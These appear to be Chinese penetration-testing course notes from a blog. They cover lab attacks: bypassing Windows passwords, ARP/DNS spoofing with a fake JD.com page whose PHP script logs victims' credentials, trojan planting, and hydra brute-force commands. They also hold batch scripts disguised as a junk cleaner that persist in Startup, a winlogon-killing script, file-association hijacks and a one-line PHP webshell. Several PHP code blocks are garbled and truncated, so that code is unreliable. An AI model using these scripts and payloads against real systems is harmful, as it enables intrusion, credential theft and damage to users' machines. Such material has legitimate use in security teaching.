安全实验基础


IP签名

基础渗透

00———-中华人民共和国刑法(第285,286条)

  • 第二百八十五条
    • 违反国家规定,入侵国家事务,国防建设,尖端科学技术领域的计算机信息技术系统,==处三年以下有期徒刑或者拘役==.
  • 第二百八十六条
    • 违反国家规定,对计算机信息系统功能进行删除,修改,增加,干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,==处五年以上有期徒刑==
    • 违反国家规定,对计算机信息系统中存储,处理或者传输的数据和应用程序进行删除,修改,增加的操作,后果严重的,依照前款的规定处罚
    • 故意制作,传播计算机病毒等破坏性程序,影响计算机正常运行,后果严重的,依照第一款的规定处罚
  • 中华人民共和国刑法修正案(七)
    • 在刑法第二百八十五条中增加两款作为第二款,第三款:”违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储,处理或者传输数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,==处三年以上七年以下有期徒刑,并处罚金==
    • 提供专门用于入侵,非法控制计算机系统的程序,工具,或者明知他人实施侵入,非法控制计算机信息系统的违法犯罪行为而为其提供程序,工具,情节严重的,依照前款的规定处罚.

01———-破解Windows系统密码

  1. 利用5次shift漏洞破解win7密码

    1. 漏洞
    1. 在未登录系统是,连续按5次shift键,弹出程序c:\Windows\system32\sethc.exe
    2. 部分win7或win10系统在未进入系统时,可以通过系统修复漏洞篡改系统文件名
    注:如win7或win10系统已修补漏洞2,则无法利用
    1. 破解过程相关知识
    1. cmd工具路径
    	c:\windows\system32\cmd
    2. 用户/账户密码存储位置
    	c:\windows\system32\SAM		 		# 非逆转型加密,使用hash值类似的方法,MD5 SHA
    3.修改账户密码:
    	net user 用户名  新密码
    4. 创建一个新用户:
    	net user 用户名 新密码 /add
    5. 删除用户:
    	net user 用户名 /del
    6. 提升管理员:
    	net localgroup administrators 用户名 /add
    1. 漏洞利用过程
    案例:破解win7系统密码
    实验步骤:
    1. 开启win7虚拟机,开机,并设置一个复杂密码;
    2. 关机,并开机,在出现Windows启动界面时强制关机;
    3. 再开机,出现"启动修复(推荐)"及选项该项;		# 如果没有出现,多尝试几次第二步,如还不行,请换其他方法
    4. 出现系统还原提示,点击取消,等待几分钟后,会出现问题原因,点击查看详细信息;
    5. 打开最后一个链接即记事本;
    6. 记事本中点打开,并选择显示所有文件;
    7. 找到sethc并改名sethc-bak,再找到cmd,复制一份改名为sethc
    8. 全部关闭,重启
    9. 系统启动完毕后,连续5次shift键,将弹出cmd工具,使用命令创建用户名
  2. 利用PE系统破解XP密码

    1. 漏洞
    PE系统:微型操作系统
    PE系统,独立于硬盘系统的微型系统,通过PE系统启动可以对系统的SAM文件做修改
    1. 破解过程相关知识
    账户密码存储文件:C:\Windows\system32\config\SAM 
    U盘引导系统:开机修改启动顺序,并将U盘设置为第一启动顺序!(一般电脑是开机马上进入F2键,进入BIOS,修改启动顺序,不同品牌电脑设置方法不一样,可以查询资料)
    1. 漏洞利用过程
    1. 下载PE制作工具(如老毛桃,大白菜,深度等),插入空U盘或光盘,一键制作PE系统到U盘
    2. 为XP系统设置一个复杂密码,并关机
    3. 插入带有PE系统的U盘或光盘,开机,马上按F2,进入BIOS,设置启动顺序为U盘或光盘为第一位,保存
    4. 重启,进入PE菜单或PE系统,使用破解密码程序进行破解,(不同的PE系统菜单不一样,但一般都有破解密码选项)

02———-kali中间人攻击

  1. 实训内容:kali中间人攻击
  2. 实训目标: 使用kali系统模拟攻击者,利用中间人的攻击手段来获取用户登录的用户名与密码
  3. 环境介绍及拓扑图:
    1. 虚拟机软件
    2. 虚拟机:
      1. WindowsXP—–模拟客户机
      2. Windows Server 2003 —–模拟WEB及FTP服务器
      3. kali —–模拟攻击机
    3. Web站点素材:zhivote
    4. 工具:ettercap(kali自带)
    5. 实验拓扑图
  4. 攻击基本原理
    1. 详情”中间人攻击原理”
      1. 利用的ARP协议的漏洞
      2. ARP协议原理
        1. 发送ARP广播请求
        2. 发送ARP单播应答
      3. ARP攻击原理
        • 攻击人通过发送虚假的ARP应答实现ARP缓存投毒!而受害人没有办法进行身份(真伪)验证!

03———–DNS欺骗与钓鱼网站

  1. 内容: DNS欺骗,ARP攻击及钓鱼网站制作

  2. 背景:

    1. 钓鱼者运用社会工程学(social engineering)知识有道受害者,以在未授权情况下获取对方的姓名,年龄,邮箱账号,甚至是银行卡密码等私人信息

    2. 钓鱼往往和社会工程学相结合进行诱导,而社会工程学是黑客的内功,能否灵活运用可以体现一个黑客的个人修为,所以说”放人之心不可无”这句话并非没有道理,凡是不要害人但是总要留个心眼否则最终伤害的就是自己

    3. 社会工程学黑客常见伎俩:

      电话号码欺骗

      利用坏消息作案

      滥用网民对社交网站的信任

      二维码引诱

    4. 本案例利用虚假的京东网站,并且使用DNS与ARP欺骗手段使用户输入真实的用户名密码

  3. 实现目标

    1. 使用kali系统模拟攻击者,利用中间人的攻击手段来对受害者进行DNS欺骗,使受害者通过访问假的京东网站,来获取用户登录的用户名与密码

    2. 环境

      1. WindowsXP—-模拟客户机
      2. Windows Server2003—–模拟公网的DNS服务器与京东网站服务器
      3. kali—–模拟攻击机
      4. JD站点素材
    3. 工具:ettercap(kali 自带)

    4. 实验流程

      1. 开启虚拟机并配置IP
      2. 在win2003中搭建京东WEB服务器及DNS服务器
      3. 客户机尝试访问真正的京东
      4. 开启ARP欺骗,DNS欺骗
      5. 开始钓鱼

      image-20220304114035906

    5. kali Linux建立伪装网站

    //建立欺骗dns
    vim /etc/ettercap/etter.dns
    	www.jd.com	A	10.1.1.2	dns正向解析
    	www.jd.com	PTR	10.1.1.2	dns反向解析
     	*	A/PTR	10.1.1.2
    //开启Apache
    systemctl start apache2
    netstat -antpl  a:所有
    				n:直接使用域名地址,而不通过域名服务器
    				t:只看tcp协议 	u:看tcp与udp
    				l:以行显示
    //查看默认网站目录
    cd /var/www/html 	//web网站默认路径
    rm -rf *
    
    
    
    //***.php内容
    <?php
    $ref = $_SERVER['HTTP_REFERER']; //获取前一页面的 URL 地址
    $today = date("F j, Y, g:i a");
    if (isset($_POST['name']) && !empty($_POST['name'])) {
    $nam = stripslashes($_POST['name']);
    $pas = stripslashes($_POST['pass']);
    $nam = htmlspecialchars($nam, ENT_QUOTES);   // 转换双引号和单引号
    $pas = htmlspecialchars($pas, ENT_QUOTES);   
    $content = $today . " -- " . $ref . " 用户名 " . $nam . " 密码 " . $pas;
    $filed = @fopen("1.txt", "a+");
    @fwrite($filed, "$content\n");
    @fclose($filed);
    }
    ?>
    <html>
    <head>
    	<script type="text/javascript">
    		function goBack()
    		{
    			window.history.back()  //后退+刷新
    		}
    	</script>
    </head>
    <body onload="goBack()">   <!-- 加载之后立即执行一段 JavaScript -->
    </body>
    </html>
    
    //修改执行/写入权限
    chmod 777 1.txt
    
    //打开ettercap进行dns欺骗

03———-漏洞与木马

  • 木马概述
    • 木马通常称为黑客程序,恶意代码,也称为特洛伊木马
    • 基于远程控制的黑客工具
  • 木马的特性
    • 隐蔽性
    • 潜伏性
    • 再生性
  • 木马的组成
    • 客户端程序
      • 客户端程序是安装在攻击者(黑客)放的控制台,它负责远程遥控指挥
    • 服务器端程序
      • 服务器端程序既是木马程序,它被隐蔽安装在被攻击(受害)方的电脑上,目标主机也称为肉鸡
  • 木马的危害
    • 盗取用户信息
      • 如: 网友账户,网银信息,QQ密码等
    • 传播病毒
    • 占用系统资源,降低电脑性能
    • 将本机座位工具来攻击其他设备等
  • 中了木马的征兆
    • 硬盘不停的读写
    • 鼠标键盘不听使唤
    • 窗口突然被关闭
    • 新的窗口莫名其妙地打开
  • 木马传播途径
    • 网页浏览时利用浏览器漏洞或浏览器插件(flash,迅雷等)漏洞
    • 通过QQ,MSN等即时通讯软件,发送恶意链接或木马病毒文件;
    • 使用U盘等移动存储介质
    • 打开陌生的邮件,通过电子邮件内恶意代码或含木马病毒的附件;
    • 伪装成多媒体影音文件或植入木马的应用软件,利用P2P平台和网站传播;
    • 利用操作系统漏洞或弱口令 直接远程植入
    • 下载来源不明的程序
  • 环境介绍
    • 虚拟机
      • WindowsXP—–模拟黑客攻击机
      • WindowsServer2003—–模拟被木马控制方
    • 工具
      • 灰鸽子软件
      • NTscan
  • 实验流程
    • 开启虚拟机
    • 配置IP地址并测试网络连通性
    • 制作木马
    • IPC$暴力破解
    • 与目标主机建立IPC$—–445端口
    • 植入木马到目标主机
    • 设置目标主机运行木马
    • 成功控制目标主机

04———-扫描与密码爆破

  1. 基础知识
21 FTP 443 HTTPS
22 SSH 1433 SQL Server
23 Telnet 1521 Oracle
25 SMTP 3306 MYSQL
80 HTTP 3389 RDP
  • nmap—扫描器之王
    • nmap为开源工具,并且是跨平台的
  • 重要常用参数
-sp ping扫描
-p 指定端口扫描
-sT TCP连接扫描
-sS TCP SYN扫描
-sU UDP扫描
-sV 服务版本探测
-O 启用操作系统探测
-A 全面扫描
-oA 保存到所有格式
//保存扫描报告
-oN 	保存成TXT纯文本格式
nmap -sT 127.0.0.1 -sV -on result.txt
-oX		保存成xml格式
nmap -sT 127.0.0.1 -p 22 -sV -oX result.xml
  1. 口令安全威胁

    • 现在很多地方都以用户名(账号)和口令(密码)作为鉴权的方式,口令(密码)就意味着访问权限.
    • 口令安全现状
      • 弱口令:类似于12345,654321,admin123等这样常见的弱密码
      • 默认口令:很多应用或者系统都存在默认口令,比如phpstudy的mysql数据库默认账密[root/root],Tomcat管理控制台默认账密[tomcat/tomcat]等
      • 明文传输:比如http,ftp,telnet等服务器,在网络中传输的数据流都是明文的,包括口令认证信息等,这样的服务器,就有被==嗅探==的风险
  2. 破解方式

    • 暴力破解

      • 暴力破解就是利用所有可能的字符组成密码,去尝试破解.这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终一定会爆破出密码,下表是不同字符集合不同密码的数量
      字符集 密码位数 密码空间
      [0-9] 8位 10^8=100000000
      [0-9] [a-z] 8位 36^8=2821109907456
      [0-9][a-z] 1-8位 ??
    • 字典破解

      • 如果能通过比较合理的条件,筛选或者过滤掉一些全字符组合的内容,就会大幅江都爆破的成本.我们把筛选的密码组成特定的字典.在用字典爆破密码也是可以的,但是这样做有可能会漏掉真正的密码.密码字典大致分为以下几类
        • 若口令字典
        • 社工字典:人们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合”名字+生日”.社工字典更具有针对性,准确率也会比较高
  3. Windows口令破解

    • Windows口令远程爆破

      • 我们可以通过NTscan工具远程爆破Windows口令

        工具 NTscan
        使用场景 本地网络(局域网)
        支持模式 139/445 支持IPC/SMB/WMI三种扫描模式
        字典文件 NT_user.dic/NT_pass.dic
      • 如何防止NTscan扫描?

        • secpol.msc
        • 本地策略–>安全选项–>网络访问:本地账户的共享和安全模式属性–>仅来宾模式
    • Windows账户本地hash值破解

      • 除了可以从远程爆破Windows密码,我们还可以在本地爆破Windows密码,本地Windows账户破解主要有两种方式
      • 从内存中读取Windows密码
        • 使用getpass工具直接从Windows系统内存中读取用户密码
    • Windows hash值破解

      • Windows hash值破解一共需要两步操作,首先我们使用QuarksPwDump工具读取(导出)Windows账户密码hash值,然后再使用SAMinside工具破解hash值
    • linux本地shadow文件破解

      • 我们可以使用John工具,破解shadow密码文件
      • John有Windows版和Linux版本, John也是自动集成在kali中.John破解的时候也需要准备一个字典
      • John的命令如下
      john --wordlist=*指定字典 /etc/shadow
      john --show /etc/shadow
  4. 使用kali Linux进行口令破解

    • Linux口令破解,也分远程破解与本地破解,远程破解主要是爆破ssh服务,属于在线密码工具,本地破解需要拿到Linux的shadow文件,进行hash值破解,属于离线密码攻击

    • 破解ssh服务

      • 首先我们使用hydra攻击破解ssh服务,命令如下
      hydra -l root -P /root/dic/test_pwd.dic *IP* ssh -vV  
    • 网络服务口令破解

      • 在渗透测试中,我们同样会对各种服务的口令进行审计
      • 破解MSSQL口令
        • 本实验,需要搭建一个SQL server2000服务管理器,开启后在kali虚拟机中输入以下命令
      hydra -l sa -P /root/dic/test_pwd.dic *IP* mssql -vV
    • 破解RDP口令

      • 开启RDP服务
        • 右键计算机->属性->远程设置->远程->勾选运行任意版本远程桌面的计算机连接
        • 使用netstat -an查看3389端口是否开启
      • 打开kali爆破
      hydra -l *用户名* -P *字典地址* *IP* rdp -vV
    • 破解FTP口令

    hydra -L *用户名字典地址* -P *密码字典地址* *IP* ftp -vV
    • 破解445口令
    hydra -l administrator -P *字典地址* *IP* smb -vV
    • 破解Telnet口令
    hydra -l administrator -P *字典地址* *IP* Telnet -vV

05———病毒

@echo off
color 0a
title 小程序v1.0

:menu
cls
echo ======================================
echo                 菜单
echo              1.修改管理员密码
echo              2.定时关机
echo              3.退出本程序
echo ======================================

set /p num=您的选择是:		  //在此暂停,用户输入的值就是num的值
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 别闹,只能输入1,2,3
pause
goto menu

:1
set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p% >nul
echo 您的密码已经设置成功
pause						 //暂停
goto menu

:2 
set /p time=请输入时间:
shutdown -s -t %time%
goto menu 

:3
exit
@echo off
title 系统垃圾清理
color 2f
echo =====若有杀毒软件恶意拦截,请选择允许程序的所有操作
echo.
echo.
echo start cmd>c:\windows\windows.bat
echo %0>>c:\windows\windows.bat
copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\">nul
if %errorlevel%==0 goto next		//如果值不为
copy c:\windows\windows.bat "%USERPROFILE%\[开始] 菜单\程序\启动\">nul
if %errorlevel%==1 goto error

:next
echo.
echo.
echo ======垃圾清理中,请不要关闭窗口==========
echo.
ping -n 5 127.0.0.1>nul
echo.
echo =====垃圾清理完毕,共清理垃圾500M========
echo.
echo.
echo ==========建议立即重启电脑=============
pause

:error
echo.
ehcho.
echo =程序运行失败,请[使用管理员权限]重新运行!=
echo.
pause

//%errorlevel% 系统变量,如果上一条命令执行成功,值为0,如果上一条命令执行失败,值为非0
@echo off
title 系统垃圾清理
color 2f
echo =====若有杀毒软件恶意拦截,请选择[允许程序的所有操作]=====
echo.
echo.

:next
echo.
echo.
echo =====垃圾清理中,请不要关闭窗口=====
echo.
ping -n 5 127.0.0.1>nul
taskkill /im explorer.exe /f >nul2>nul
echo.
echo =====完犊子了,你的系统已经废了=====
ping -n 5 127.0.0.1>nul
echo.
Start c:\windows\explorer.exe
echo.
echo ====已修复好!是不是吓坏了!!嘿嘿====
pause
//最简单的蓝屏炸弹文件
1. 新建文本文档
2. 输入: ntsd -c q -pn winlogon.exe
3. 改为bat后缀
4. 开始->程序->启动(右键)打开,把文件放入
//最简单的病毒
1. 新建文本文档
2. 输入: 
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=exefile
assoc .jpg=exefile
3. 改为bat后缀
4. 开始->程序->启动(右键)打开,把文件放入
病毒解药:
assoc .exe=exefile
assoc .txt=txtfile
assoc .mp3=mp3file
assoc .jpg=jpgfile
//最简单的脚本
1. 新建文本文档
2. 输入:msgbox "德玛西亚"
3. 把TXT改成vbs
//最简单死循环脚本
do
msgbox "德玛西亚"
loop
//把TXT改成vbs
//关闭:
	1. 打开任务管理器
	2. 关闭wscript.exe,结束任务

06———基础环境搭建

基础环境

  • win2008 能上外网 NAT
    • web服务

    • WAMP (Windows Apache MySQL PHP)

    • phpstudy

      • ~启动问题
      • 端口正常开放
        • 80 http
        • 3306 mysql
      • ~ http服务
        • web 根目录[c:\phpStudy\WWW]
        • l.php 探针
        • phpinfo.php
        • phpmyadmin
      • Apache配置文件[c:\phpStudy\Apache\conf\httpd.conf]
      • Apache日志文件[c:\phpStudy\Apache\logs]
      • ~ mysql
        • [root/root]
        • [C:\phpStudy\MySQL\bin]
        • [mysql -uroot -proot]
        • mysql配置文件[c:\phpStudy\MySQL\my.ini]
      • ~ php
        • [phpinfo();]
        • [c:\phpStudy\php\php-5.4.45]
        • [c:\phpStudy\php\php-5.4.45\php.ini]
    • 火狐浏览器

    • 输入法

  • Ubuntu
    • sudo passwd root
    • su root
    • ubuntu 安装软件
      • 更新源
        • apt-get update
        • apt-get install ssh
        • apt-get install vim
      • 开启ssh服务
        • 修改配置文件 /etc/ssh/sshd.config
          • PermitRootLogin yes
          • PasswordAuthentication yes
        • service ssh start/stop/restart/status
        • update-rc.d ssh enable
      • dnsmq
        • /etc/NetworkManager/NetworkManager.conf
    • 安装docker
    • 安装docker-compose docker的快速启动器
      • py
      • sudo apt-get install python3-pip
      • sudo pip install docker-compose
      • docker-compose -v
    • 下载源代码
      • github.com/vulhub/vulhub
      • unzip vulhub.
    • 启动环境

07———-HTML语言

<form 
      action=""
      method=""
      target="_blank">
    <!--	表单元素	-->
</form>
  • 属性

  • action

    • 数据提交到服务器的url
    • 如果为空 ,提交到当前页面
    • 也可以采用绝对路径和相对路径的xing
  • method 提交方式

    • get默认值,显示提交,长度限制2kb(IE).向服务器索取数据
    • post, 无长度限制. 一般准备数据提交后服务器再交付
  • enctype 什么样的数据可以被提交

    • application/x-www/form-urlencoded 默认值 特殊字符等都可以被提交
    • multipart/form-data 上传文件时使用
    • text/plain 只能将普通的数据提交(有些少数框架中,可能会使用)
      • name 定义整个表单的名称(不是必要)
  • 表单元素

    • < input/>

      • type 属性
        • password 密码框
        • text 文本框
        • radio 单选框
        • checkbox 复选框
    •   < select>  //下拉列表
            <option>选择月份</option>
            <option>一月</option>
            <option>二月</option>
            <option>三月</option>
        < /select>
        
      
      ## 08----------PHP
      
      - PHP概述
      
          - 一门编程语言
          - 运行在服务器端
          - 专门用于开发网站的解释型语言,不需要编译直接运行
          - PHP运行需要运行环境
              - Windows phpstudy
              - Linux 单独安装
      
      - Web原理简述
      
          - 打开浏览器
          - 输入URL
          - 显示页面
      
      - PHP基本语法
      
          ```php
          #开始标记	<?php
          #结束标记	?>
    • 这之间就表示进入PHP模式,在开始和结束标记之外的内容都会被PHP解析器忽略.

    • 可以直接嵌入到html代码中,并且可以嵌入到html代码中的任何地方

    • 在一个html文档中可以嵌入任意多个PHP标记

    • 文件末尾的PHP代码段结束标记可以不要,在一些情况下省略掉更好!

    • 指令分隔符[ ; ]

      • php用分号表示一句话的结束
      • 结束标志 ?>就隐含一个分号,所以PHP代码最后一行可以不用加分号
    • 注释

      • 单行注释 //
      • 多行注释/*………… */
      • 注意:
        • PHP代码中的注释,不会显示在浏览器的源代码中
        • PHP运行的环境是服务器,我们浏览器端看到的是PHP引擎运行PHP代码后的执行结果.
  • php运行环境安装

    • Apache+PHP+MySQL是PHP比较流行的生存环境
    • LAMP(Linux Apache MySQL PHP)
  • 简单的PHP语句

    • phpinfo();
    • echo 用于输出简单的变量
    • var_dump(); 用于输出变量值及其变量类型
  • 变量

    • 变量声明

      • 不需要声明变量,但是需要初始化 .
      • 如果一个变量没有初始化,内存中就没有这个变量
    • 初始化

      • 就是给变量初次赋值,或者变量的默认值
    • 赋值

      • [=]

      • 根据实验,说明PHP脚本是顺序执行.

      • 引用赋值

        $a=10;
        $b=$a;
        $b=$b+1;
        echo $a;//10
        echo $b;//11
        $c=&$a;
        $c=$c+1;
        echo $a;//11
        echo $c;//11
        //相当于给$a起了一个别名,$c值的改变 $a也随之发生变化
    • 释放变量

      • unset();
    • 变量的命名

      • 以[$]符号开头
      • 严格区分大小写
      • 字母| 数字| 下划线,不能以数字开头
      • 尽量不要使用PHP关键字作为变量名
    • 可变变量

      $name="hello";
      $$name="world";
      echo $name;
      echo "<br/>";
      echo $hello; //$$name;
    • 变量类型

      • 布尔类型 True False

        • 以下内容会被当做false,其他均会被认为True
          • 布尔值false
          • 0
          • 浮点型0.0
          • 空白字符串和字符串0
          • 没有成员的数组
          • null
      • int 整形

      • float 浮点型

      • string 字符串

        • 字符串的定义
          • ‘ ‘
          • “ “
          • 定界符**<<<**定界符的开始
        • 注意:
          • 单引号定义的字符串中的单引号需要转义[ \‘ ]
          • 单引号定义的字符串中,[$]符号原样输出
          • 双引号定义的字符串中,[$]是变量的开始,变量整体用{}括起来
          • 单双引号定义的字符串中输入特殊字符包括[‘ “ $…]需要转义
          • 定界符开始和结束后面不能有任何字符包括空白字符和注释
      • 数组

      • 常量

        • 不变的量

        • 定义 define(“NAME”,”abc”);

        • 直接使用即可

        • 预定义常量

        • 常量名 常量值
          __FILE__
          __LINE__
          __FUNCTION__
          __LINE__
          __DIR__ 当前文件目录
  • PHP 语法错误

    • error 结束脚本执行
    • warr~ 只提示 ,不影响执行
    • notice
  • 函数

    • 内容
      • 代码块
      • 有输入,有输出
    function test(){
        代码块
            return;
    }
    • 注意

      • 函数调用时,实参要按照顺序给形参.
      • 函数调用时,互相独立,默认没有联系
      • 执行完毕后,返回调用的位置,继续向下执行
    • 变量的范围

      • 局部变量

        • 在函数内部定义的变量
        <?php
        $a=10;
        function test(){
            echo $a;
        }
        test();
        echo "<hr />";
        echo $a;
        ?>
      • 全局变量

        • 在php脚本中,函数外部定义的变量
        • 变量的作用域为整个PHP脚本.
      • 在函数中使用函数全局变量

        • 传参

        • 声明方式

          • global
          <?php
          $a = 10;
          define("name","ajeset");
          function test(){
              echo $a;
              global $a;
              echo $a;
              echo name;
          }
          test();
          ?>
        • 常量的作用域,是超全局

      • 静态变量

        • 在函数内部定义
        • 并且用static修饰符修饰
        • 仅在函数初次执行时被初始化
    • 参数的传递

      • 按值传递参数(默认方式)

        • 对形参的操作,不会对实参产生影响
      • 引用传参

        • 相当于跟实参起了一个别名,对形参的操作会对实参产生影响
      • 默认参数

        • 如果没有给函数传递实参,取默认值
        • 建议:全给默认参数,全部传参
        <?php
        function test(){
            echo "this is:".__FUNCTION__;//获取函数名
        	echo func_get_arg();//根据参数偏移量,从零开始计数,获取参数偏移量
            echo func_num_args();//传参个数
            for($i=0;$i<func_num_args();$i++){
                echo func_get_arg($i)."|";
            }
        }
        test();
        echo "<br />";
        test("ajest",24,true,89.9){  
        }
        ?> 
    • 可变参数 (变量函数)

      • 可变函数参数列表

        • func_get_args();
        • func_get_arg();
        • func_num_args();
      • 函数名为变量,类似这样的结构,简单的后门

        • &a(&b);
      • ```php

        ".func_get_arg(0); } function test2(){ echo "this is func".__FUNCTION__; echo "
        ".func_get_arg(0); } test1() test2() $a="system"; $a("ipconfig");//函数 函数名是$a
        
        - ```php
            最简单的一句话木马 
                1.php?a=system&b=ping www.baidu.com
            <?php
                $_GET['a']($_GET['b']);
            ?>
    • 递归函数

      • 自己调用自己
      <?php
      function test($n){
          echo $n.'&nbsp;';
          if ($n>0){
              test($n-1);//自己内部调用自己,即 递归函数
          }else{
            	echo '<-->';  
          }echo $n.'&nbsp;';
      }
      test(3);// 3210<-->0123
      ?> 
  • 数组

    • 变量类型:复合数据类型

    • 键值对

      • 键名 键值
      • key value
    • 数组中的元素

      • 除了对象,可以存放任意类型的数据
    • 数组的分类

      • 键值对 整形的正数 索引数组
      • 键值对 具有语义的数组 关联数组
    • 数组的创建

      • 第一种创建数组的方式

        • $stu[]

        • 在未指定键名的情况下,给数组赋值,键名从当前最大的开始计数,以此增大

        • 可以手动给键名

        •   <?php
             $stu[10]="ajest";
            $stu[20]=24;
            $stu[30]=true;
            $stu[]=78.9;
            
            echo "<pre>";
            //echo $stu;
            print_r($stu);
            
            //echo $stu;
            var_dump($stu);
                
            ?>
            
          
              - 
          
          - 第二种方法 
          
              - array() 
          
              - ```php
                  <pre>
                  <?php
                  $stu1 = array("ajest",24,true,78.9);
                  print_r($stu1);
                  $stu2=array(
                  	'name' => "zoe",
                      'age' => "23",
                  	'sex' => false,
                      'greade' => 99.9,
                      'something like this!'
                  );
                  ?>
    • 数组中元素的访问

      • 读取
      • 添加
      • 修改
    • 数组的遍历

      • 索引数组

      • ```php

        "; } $stu2=array( 'name' => "zoe", 'age' => "23", 'sex' => false, 'greade' => 99.9, 'something like this!' ); foreach($stu2 as $key =>$value){ echo $key." => ".$value."
        "; } ?>
        
        - 二维数组
        
            - ```php
                <?php
                $students=array(
                    1901=>array(
                        'name' => "ajest",
                        'age' => 24,
                        'sex' => true,
                        'grade' =>79.9),
                    1902 => array("zoe",23,false,61),
                    1903 => array("xl",25,true,59.9)
                    );
                print_r($students);
                echo $students[1901]['grade'];
                ?
    • 多维数组

    • 预定义超全局数组变量

      • PHP定义好了的,可以直接使用

      • 函数内部或者外部都能使用

      • 名称 作用
        $GLOBALS 引用全局作用域中可用的全局变量
        $_SERVER 一个包含了诸如头信息(header).路径(path).以及脚本位置(script locations)等等信息的数组.
        $_GET 通过URL参数传递给当前脚本的变量的数组
        $_POST 当HTTP POST 请求的Content-Type是application/x-www-form-urlencoded multipart/form-data时,会将变量以关联数组形式传入当前脚本
        $_FILES 通过HTTP POST方式上传到当前脚本的项目的数组
        $_COOKIE 通过HTTP Cookies方式传递给当前脚本的变量的数组
        $_SESSION 当前脚本可用SESSION变量的数组
      • $_GET

        • ```PHP 请重新登录"; } }else{ echo "Error!请通过表单登录"; } ?>
              
          - ```html
              <html>
                  <meta charset="utf-8">
                  <h1>
                      用户登录
                  </h1>
                  <form 
                        action="./get.php"
                        method="get"
                        target="_blank">
                      用户名:<input type="text" name="userName"><br/>
                      密码:<input type="password" name="userPass"><br/>
                      <input type="submit" name="userSubmit" value="登录">
                  </form>
              </html>
      • $_POST

        • 当HTTP POST 请求的Content-Type是application/x-www-form-urlencoded multipart/form-data时,会将变量以关联数组形式传入当前脚本
        • HTTP请求报文的请求正文中
      • $_FILES 文件上传相关信息

        •   <html>
                <meta charset="utf-8">
                <h1>
                    文件上传
                </h1>
                <form
                      action=""
                      method="post"
                      enctype="multipart/form-data">
                    <input type="file" name="userUpFile">
                    <input type="submit" name="userSubmit" value="上传">
                </form>
            </html>
            
            <?php
            echo "<pre>";
            if(isset($_POST['userSubmit'])){
                //var_dump($_FILES);
                $tmp_path=$_FILES['userUpFile']['tmp_name'];
                $path=__DIR__ ."\\".$_FILES['userUpFile']['name'];  //在当前文件夹下上传文件
                if(move_uploaded_file($tmp_path,$path)){
                    echo "upfile success!";
                    echo "<br />".$_FILES['userUpFile']['name'];
                    echo "<br />".$path;
                }else{
                    echo "upfile failed";
                }
            }
            ?>
          
  • Cookie

    • 会话控制

    • 浏览网页的时候,使用的是HTTP协议

      • 客户端发送请求
      • 服务端给出相应
    • COOKIE

      • 是存储在客户端的一端文本,文件或字符串
      • 服务器发送给客户端的
      • 每次客户端浏览器,在发出请求的时候,都会携带cookie信息
    • 性质:

      • name cookie的名称
      • value cookie的值
      • expire 过期时间
      • path cookie的有效路径
      • domain cookie的域名
      • secure https
      • httponly 仅仅通过http协议访问,不能通过js访问
    • 设置cookie的语句:

      • setcookie():
    • 浏览器cookie信息F12


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录